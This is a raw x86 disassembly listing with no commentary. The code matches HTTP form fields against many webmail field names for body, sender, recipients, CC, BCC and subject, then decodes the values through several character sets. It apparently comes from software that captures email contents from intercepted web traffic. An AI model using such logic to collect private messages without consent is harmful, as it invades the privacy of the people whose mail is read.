mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push eax
push ecx
push edx
push esi
push ebx
push ebp
call fcn.5900d630
mov edi, eax
mov eax, dword [0x59162880]
add esp, 0x18
mov dword [esp + 0x54], edi
mov dword [esp + 0x38], eax
mov byte [esp + 0x190], 0x1a
mov dword [esp + 0x6c], eax
mov byte [esp + 0x190], 0x1b
mov dword [esp + 0x28], eax
mov byte [esp + 0x190], 0x1c
mov dword [esp + 0x48], eax
mov byte [esp + 0x190], 0x1d
mov dword [esp + 0x40], eax
mov byte [esp + 0x190], 0x1e
mov dword [esp + 0x3c], eax
mov byte [esp + 0x190], 0x1f
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0xb4]
mov byte [esp + 0x190], 0x20
call fcn.590abbc0
lea ecx, [esp + 0x148]
mov byte [esp + 0x190], 0x21
call fcn.590abbc0
lea ecx, [esp + 0x134]
mov byte [esp + 0x190], 0x22
call fcn.590b3a40
xor eax, eax
mov byte [esp + 0x190], 0x23
cmp edi, eax
mov dword [esp + 0x110], eax
mov dword [esp + 0x80], eax
je 0x59019943
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x59019943
mov eax, dword [0x5916287c]
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push edi
mov byte [esp + 0x19c], 0x24
call fcn.5900f830
add esp, 0xc
test eax, eax
jne 0x59017d89
mov edx, dword [esp + 0x70]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xb0]
push eax
push ecx
push edx
jmp 0x59017db7
mov eax, dword [esp + 0x1c]
push 0x591892bc
push eax
push edi
call fcn.5900f930
add esp, 0xc
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
jne 0x59017dde
mov eax, dword [esp + 0x70]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0xb0]
push ecx
push edx
push eax
push esi
push ebx
push ebp
call fcn.5900d630
mov edi, eax
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], edi
mov byte [esp + 0x190], 0x23
call fcn.590a0ec0
jmp 0x5901993b
mov edi, 0x591892bc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [esp + 0x18]
not ecx
dec ecx
add edi, ecx
mov ecx, dword [esp + 0x1c]
sub ecx, edi
mov dword [esp + 0x18], edi
test ecx, ecx
jg 0x59017e38
mov ecx, dword [esp + 0x70]
lea edx, [esp + 0x1c]
lea eax, [esp + 0xb0]
push edx
push eax
push ecx
push esi
push ebx
push ebp
call fcn.5900d630
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], eax
mov byte [esp + 0x190], 0x23
call fcn.590a0ec0
jmp 0x59019937
mov eax, dword [esp + 0x30]
test eax, eax
je 0x59017e73
mov edx, dword [esp + 0x10]
push str.MailOptions
push edx
call fcn.59088717
add esp, 8
test eax, eax
jne 0x59017e73
mov ebx, dword [esp + 0x54]
lea eax, [ebx + edi]
test eax, eax
je 0x59017e77
cmp byte [eax], 0x30
jne 0x59017e77
mov dword [esp + 0x80], 1
jmp 0x59017e77
mov ebx, dword [esp + 0x54]
mov eax, dword [esp + 0x10]
push str.__Click
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59017f15
mov ecx, dword [esp + 0x10]
push str.SYSF_OriginalId
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59017f15
mov edx, dword [esp + 0x10]
push str.chc_pversion
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59017f15
mov eax, dword [esp + 0x10]
push str.chc_sversion
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59017f15
mov ecx, dword [esp + 0x10]
push str.FMS_FORMPART_TICKET
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59017f15
mov edx, dword [esp + 0x10]
push str.FMS_FORMPART_FILEDATA
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59017f15
mov eax, dword [esp + 0x10]
push str.F_ParentDocId
push eax
call fcn.59088717
add esp, 8
test eax, eax
jne 0x59017f1c
inc dword [esp + 0x110]
mov ecx, dword [esp + 0x10]
push 0x59189b50
push ecx
call fcn.59088717
add esp, 8
test eax, eax
jne 0x5901815c
mov edx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub edx, edi
lea ecx, [esp + 0x88]
push edx
push esi
call fcn.590a0970
mov eax, dword [esp + 0xc4]
mov byte [esp + 0x190], 0x25
test eax, eax
mov eax, dword [esp + 0x88]
je 0x59017f82
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017f82
push 0x4e3
push eax
lea ecx, [esp + 0x40]
call fcn.590aa6a0
jmp 0x590180f7
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x59017fa8
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900abe0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x88]
je 0x59017fc3
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017fc3
push 0xfde9
push eax
lea ecx, [esp + 0x40]
call fcn.590aa6a0
jmp 0x590180f7
mov ecx, dword [esp + 0x124]
test ecx, ecx
je 0x59017fe9
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59017fe9
push 0xcaed
push eax
lea ecx, [esp + 0x40]
call fcn.590aa6a0
jmp 0x590180f7
cmp dword [esp + 0x11c], 0x3a8
jne 0x5901802c
mov ecx, dword [esp + 0x1c]
sub ecx, edi
push ecx
push esi
call fcn.5900afa0
add esp, 8
test eax, eax
je 0x59018025
mov edx, dword [esp + 0x88]
push 0x3a8
push edx
lea ecx, [esp + 0x40]
call fcn.590aa6a0
jmp 0x590180f7
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59018052
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900b000
add esp, 8
test eax, eax
mov eax, dword [esp + 0x88]
je 0x5901806d
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901806d
push 0x2712
push eax
lea ecx, [esp + 0x40]
call fcn.590aa6a0
jmp 0x590180f7
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900aca0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x88]
je 0x590180ed
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590180ed
push 1
push 0
push eax
call fcn.5900adb0
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.5913d2d0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x590180f7
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x90]
push eax
call fcn.5900adb0
add esp, 0xc
lea ecx, [esp + 0x38]
mov word [esi + ebx*2], 0
push esi
call fcn.590a64c0
push esi
call fcn.5913d2f9
add esp, 4
jmp 0x590180f7
push eax
lea ecx, [esp + 0x3c]
call fcn.590a65a0
mov eax, dword [esp + 0x38]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018140
lea ecx, [esp + 0x184]
push eax
push ecx
call fcn.5900bb50
add esp, 8
lea edx, [esp + 0x184]
lea ecx, [esp + 0x6c]
push edx
mov byte [esp + 0x194], 0x26
call fcn.590a63d0
lea ecx, [esp + 0x184]
mov byte [esp + 0x190], 0x25
call fcn.590a6240
lea ecx, [esp + 0x88]
mov byte [esp + 0x190], 0x24
call fcn.590a0ec0
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x54]
mov eax, dword [esp + 0x10]
push 0x59189b48
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov ecx, dword [esp + 0x10]
push 0x59189b40
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov edx, dword [esp + 0x10]
push str.msgbody
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov eax, dword [esp + 0x10]
push str.msgtxt
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov ecx, dword [esp + 0x10]
push str.wbody
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov edx, dword [esp + 0x10]
push str.emailmessage
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov eax, dword [esp + 0x10]
push 0x59189b10
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov ecx, dword [esp + 0x10]
push 0x59189b0c
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov edx, dword [esp + 0x10]
push str.MText
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov eax, dword [esp + 0x10]
push str.F_body
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov ecx, dword [esp + 0x10]
push str.text2
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov edx, dword [esp + 0x10]
push 0x59189ae8
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov eax, dword [esp + 0x10]
push str.mailText
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov ecx, dword [esp + 0x10]
push 0x59189ad4
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov edx, dword [esp + 0x10]
push str.kerio_mailBody
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov eax, dword [esp + 0x10]
push str.mail_body
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov ecx, dword [esp + 0x10]
push str.mouldtext
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov edx, dword [esp + 0x10]
push str.ftxtcon
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov eax, dword [esp + 0x10]
push 0x59189a94
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov ecx, dword [esp + 0x10]
push str.textInner
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov edx, dword [esp + 0x10]
push str._message
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018384
mov eax, dword [esp + 0x10]
push str.TD_HTML_EDITOR_CONTENT
push eax
call fcn.59088717
add esp, 8
test eax, eax
jne 0x59018595
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x80]
call fcn.590a0970
mov eax, dword [esp + 0xc4]
mov byte [esp + 0x190], 0x27
test eax, eax
mov eax, dword [esp + 0x78]
je 0x590183cd
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590183cd
push 0x4e3
push eax
lea ecx, [esp + 0x30]
call fcn.590aa6a0
jmp 0x59018533
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x590183f0
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900abe0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x5901840b
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901840b
push 0xfde9
push eax
lea ecx, [esp + 0x30]
call fcn.590aa6a0
jmp 0x59018533
mov ecx, dword [esp + 0x124]
test ecx, ecx
je 0x59018431
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018431
push 0xcaed
push eax
lea ecx, [esp + 0x30]
call fcn.590aa6a0
jmp 0x59018533
cmp dword [esp + 0x11c], 0x3a8
jne 0x5901846e
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900afa0
add esp, 8
test eax, eax
je 0x5901846a
mov ecx, dword [esp + 0x78]
push 0x3a8
push ecx
lea ecx, [esp + 0x30]
call fcn.590aa6a0
jmp 0x59018533
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59018491
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900b000
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x590184ac
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590184ac
push 0x2712
push eax
lea ecx, [esp + 0x30]
call fcn.590aa6a0
jmp 0x59018533
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900aca0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x78]
je 0x59018529
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018529
push 1
push 0
push eax
call fcn.5900adb0
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.5913d2d0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x59018533
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x80]
push eax
call fcn.5900adb0
add esp, 0xc
lea ecx, [esp + 0x28]
mov word [esi + ebx*2], 0
push esi
call fcn.590a64c0
push esi
call fcn.5913d2f9
add esp, 4
jmp 0x59018533
push eax
lea ecx, [esp + 0x2c]
call fcn.590a65a0
mov eax, dword [esp + 0x28]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901857c
lea ecx, [esp + 0x160]
push eax
push ecx
call fcn.5900bb50
add esp, 8
lea edx, [esp + 0x160]
lea ecx, [esp + 0x28]
push edx
mov byte [esp + 0x194], 0x28
call fcn.590a63d0
lea ecx, [esp + 0x160]
mov byte [esp + 0x190], 0x27
call fcn.590a6240
lea ecx, [esp + 0x78]
mov byte [esp + 0x190], 0x24
call fcn.590a0ec0
mov edi, dword [esp + 0x18]
mov ebx, dword [esp + 0x54]
mov eax, dword [esp + 0x10]
push 0x59189a5c
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov ecx, dword [esp + 0x10]
push str.emailfrom
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov edx, dword [esp + 0x10]
push str.USERID
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov eax, dword [esp + 0x10]
push str.F_from
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov ecx, dword [esp + 0x10]
push str.sender
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov edx, dword [esp + 0x10]
push str.Fromtext
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov eax, dword [esp + 0x10]
push str.sendfrom
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov ecx, dword [esp + 0x10]
push str.defFromAddress
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov edx, dword [esp + 0x10]
push 0x59189a08
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov eax, dword [esp + 0x10]
push 0x5918846c
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov ecx, dword [esp + 0x10]
push 0x59189a00
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov edx, dword [esp + 0x10]
push str.kerio_mailFrom
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov eax, dword [esp + 0x10]
push 0x591899e0
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x590186ed
mov ecx, dword [esp + 0x10]
push str._from
push ecx
call fcn.59088717
add esp, 8
test eax, eax
jne 0x590187ba
mov edx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub edx, edi
lea ecx, [esp + 0x12c]
push edx
push esi
call fcn.590a0970
mov ebp, dword [esp + 0x94]
mov byte [esp + 0x190], 0x29
test ebp, ebp
jne 0x5901872b
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900abe0
add esp, 8
test eax, eax
je 0x5901874a
mov eax, dword [esp + 0x12c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018751
push 0xfde9
push eax
lea ecx, [esp + 0x28]
call fcn.590aa6a0
jmp 0x5901875b
mov eax, dword [esp + 0x12c]
push eax
lea ecx, [esp + 0x24]
call fcn.590a65a0
mov eax, dword [esp + 0x20]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590187a4
lea ecx, [esp + 0x180]
push eax
push ecx
call fcn.5900bb50
add esp, 8
lea edx, [esp + 0x180]
lea ecx, [esp + 0x20]
push edx
mov byte [esp + 0x194], 0x2a
call fcn.590a63d0
lea ecx, [esp + 0x180]
mov byte [esp + 0x190], 0x29
call fcn.590a6240
lea ecx, [esp + 0x12c]
mov byte [esp + 0x190], 0x24
call fcn.590a0ec0
jmp 0x590187c1
mov ebp, dword [esp + 0x94]
mov eax, dword [esp + 0x10]
push 0x591899d4
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov ecx, dword [esp + 0x10]
push str.rcpt
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov edx, dword [esp + 0x10]
push str.sendto
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov eax, dword [esp + 0x10]
push str.emailto
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov ecx, dword [esp + 0x10]
push 0x591899b8
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov edx, dword [esp + 0x10]
push 0x591899b4
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov eax, dword [esp + 0x10]
push str.F_to
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov ecx, dword [esp + 0x10]
push str.MailTo
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov edx, dword [esp + 0x10]
push str.recieved
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov eax, dword [esp + 0x10]
push 0x59189994
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov ecx, dword [esp + 0x10]
push str.kerio_mailTo
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov edx, dword [esp + 0x10]
push str.receiver
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov eax, dword [esp + 0x10]
push str.textbox_addressee
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov ecx, dword [esp + 0x10]
push 0x59189974
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov edx, dword [esp + 0x10]
push 0x59189970
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x5901894d
mov eax, dword [esp + 0x10]
push str.TO_ID
push eax
call fcn.59088717
add esp, 8
test eax, eax
jne 0x59018a11
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x128]
call fcn.590a0970
test ebp, ebp
mov byte [esp + 0x190], 0x2b
jne 0x59018984
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900abe0
add esp, 8
test eax, eax
je 0x590189a3
mov eax, dword [esp + 0x120]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590189aa
push 0xfde9
push eax
lea ecx, [esp + 0x50]
call fcn.590aa6a0
jmp 0x590189b4
mov eax, dword [esp + 0x120]
push eax
lea ecx, [esp + 0x4c]
call fcn.590a65a0
mov eax, dword [esp + 0x48]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590189fd
push eax
lea eax, [esp + 0x16c]
push eax
call fcn.5900bb50
add esp, 8
lea ecx, [esp + 0x168]
mov byte [esp + 0x190], 0x2c
push ecx
lea ecx, [esp + 0x4c]
call fcn.590a63d0
lea ecx, [esp + 0x168]
mov byte [esp + 0x190], 0x2b
call fcn.590a6240
lea ecx, [esp + 0x120]
mov byte [esp + 0x190], 0x24
call fcn.590a0ec0
mov edx, dword [esp + 0x10]
push 0x59189964
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov eax, dword [esp + 0x10]
push str.copyto
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov ecx, dword [esp + 0x10]
push str.emailcc
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov edx, dword [esp + 0x10]
push 0x59189950
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov eax, dword [esp + 0x10]
push str.F_cc
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov ecx, dword [esp + 0x10]
push str.MailCc
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov edx, dword [esp + 0x10]
push str.ccto
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov eax, dword [esp + 0x10]
push 0x59189934
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov ecx, dword [esp + 0x10]
push str.kerio_mailCc
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov edx, dword [esp + 0x10]
push str.receivercc
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov eax, dword [esp + 0x10]
push str.textbox_copy
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov ecx, dword [esp + 0x10]
push 0x59189904
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018b4f
mov edx, dword [esp + 0x10]
push str.COPY_TO_ID
push edx
call fcn.59088717
add esp, 8
test eax, eax
jne 0x59018c13
mov eax, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub eax, edi
lea ecx, [esp + 0x130]
push eax
push esi
call fcn.590a0970
test ebp, ebp
mov byte [esp + 0x190], 0x2d
jne 0x59018b86
mov ecx, dword [esp + 0x1c]
sub ecx, edi
push ecx
push esi
call fcn.5900abe0
add esp, 8
test eax, eax
je 0x59018ba5
mov eax, dword [esp + 0x130]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018bac
push 0xfde9
push eax
lea ecx, [esp + 0x48]
call fcn.590aa6a0
jmp 0x59018bb6
mov eax, dword [esp + 0x130]
push eax
lea ecx, [esp + 0x44]
call fcn.590a65a0
mov eax, dword [esp + 0x40]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018bff
lea edx, [esp + 0x178]
push eax
push edx
call fcn.5900bb50
add esp, 8
lea eax, [esp + 0x178]
lea ecx, [esp + 0x40]
push eax
mov byte [esp + 0x194], 0x2e
call fcn.590a63d0
lea ecx, [esp + 0x178]
mov byte [esp + 0x190], 0x2d
call fcn.590a6240
lea ecx, [esp + 0x130]
mov byte [esp + 0x190], 0x24
call fcn.590a0ec0
mov ecx, dword [esp + 0x10]
push 0x591898f4
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov edx, dword [esp + 0x10]
push str.blindcopyto
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov eax, dword [esp + 0x10]
push str.emailbcc
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov ecx, dword [esp + 0x10]
push str.MBCC
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov edx, dword [esp + 0x10]
push str.F_bcc
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov eax, dword [esp + 0x10]
push str.MailBcc
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov ecx, dword [esp + 0x10]
push str.bcto
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov edx, dword [esp + 0x10]
push str.bccx
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov eax, dword [esp + 0x10]
push str.kerio_mailBcc
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov ecx, dword [esp + 0x10]
push str.receiverBcc
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov edx, dword [esp + 0x10]
push str.textbox_secret
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov eax, dword [esp + 0x10]
push str._bcc
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018d51
mov ecx, dword [esp + 0x10]
push str.SECRET_TO_ID
push ecx
call fcn.59088717
add esp, 8
test eax, eax
jne 0x59018e09
mov edx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub edx, edi
lea ecx, [esp + 0x68]
push edx
push esi
call fcn.590a0970
test ebp, ebp
mov byte [esp + 0x190], 0x2f
jne 0x59018d85
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900abe0
add esp, 8
test eax, eax
je 0x59018da1
mov eax, dword [esp + 0x68]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018da5
push 0xfde9
push eax
lea ecx, [esp + 0x44]
call fcn.590aa6a0
jmp 0x59018daf
mov eax, dword [esp + 0x68]
push eax
lea ecx, [esp + 0x40]
call fcn.590a65a0
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018df8
lea ecx, [esp + 0x170]
push eax
push ecx
call fcn.5900bb50
add esp, 8
lea edx, [esp + 0x170]
lea ecx, [esp + 0x3c]
push edx
mov byte [esp + 0x194], 0x30
call fcn.590a63d0
lea ecx, [esp + 0x170]
mov byte [esp + 0x190], 0x2f
call fcn.590a6240
lea ecx, [esp + 0x68]
mov byte [esp + 0x190], 0x24
call fcn.590a0ec0
mov eax, dword [esp + 0x10]
push 0x59189868
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov ecx, dword [esp + 0x10]
push str.websubject
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov edx, dword [esp + 0x10]
push str.emailsubject
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov eax, dword [esp + 0x10]
push 0x59189848
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov ecx, dword [esp + 0x10]
push str.MSubject
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov edx, dword [esp + 0x10]
push str.MailSubject
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov eax, dword [esp + 0x10]
push str.F_subj
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov ecx, dword [esp + 0x10]
push str.mailSubject
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov edx, dword [esp + 0x10]
push str.subj
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov eax, dword [esp + 0x10]
push str.kerio_mailSubject
push eax
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov ecx, dword [esp + 0x10]
push str.textbox_subject
push ecx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov edx, dword [esp + 0x10]
push str._subject
push edx
call fcn.59088717
add esp, 8
test eax, eax
je 0x59018f47
mov eax, dword [esp + 0x10]
push str.SUBJECT
push eax
call fcn.59088717
add esp, 8
test eax, eax
jne 0x59019140
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x8c]
call fcn.590a0970
mov eax, dword [esp + 0xc4]
mov byte [esp + 0x190], 0x31
test eax, eax
mov eax, dword [esp + 0x84]
je 0x59018f93
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018f93
push 0x4e3
push eax
lea ecx, [esp + 0x34]
call fcn.590aa6a0
jmp 0x590190db
test ebp, ebp
jne 0x59018fb2
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900abe0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x84]
je 0x59018fcd
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018fcd
push 0xfde9
push eax
lea ecx, [esp + 0x34]
call fcn.590aa6a0
jmp 0x590190db
cmp dword [esp + 0x11c], 0x3a8
jne 0x59019010
mov eax, dword [esp + 0x1c]
sub eax, edi
push eax
push esi
call fcn.5900afa0
add esp, 8
test eax, eax
je 0x59019009
mov ecx, dword [esp + 0x84]
push 0x3a8
push ecx
lea ecx, [esp + 0x34]
call fcn.590aa6a0
jmp 0x590190db
mov eax, dword [esp + 0x84]
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59019036
mov edx, dword [esp + 0x1c]
sub edx, edi
push edx
push esi
call fcn.5900b000
add esp, 8
test eax, eax
mov eax, dword [esp + 0x84]
je 0x59019051
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59019051
push 0x2712
push eax
lea ecx, [esp + 0x34]
call fcn.590aa6a0
jmp 0x590190db
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900aca0
add esp, 8
test eax, eax
mov eax, dword [esp + 0x84]
je 0x590190d1
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x590190d1
push 1
push 0
push eax
call fcn.5900adb0
mov ebx, eax
lea edi, [ebx + ebx + 4]
push edi
call fcn.5913d2d0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x590190db
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x8c]
push eax
call fcn.5900adb0
add esp, 0xc
lea ecx, [esp + 0x2c]
mov word [esi + ebx*2], 0
push esi
call fcn.590a64c0
push esi
call fcn.5913d2f9
add esp, 4
jmp 0x590190db
push eax
lea ecx, [esp + 0x30]
call fcn.590a65a0
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59019124
lea ecx, [esp + 0x15c]
push eax
push ecx
call fcn.5900bb50
add esp, 8
lea edx, [esp + 0x15c]
lea ecx, [esp + 0x2c]
push edx
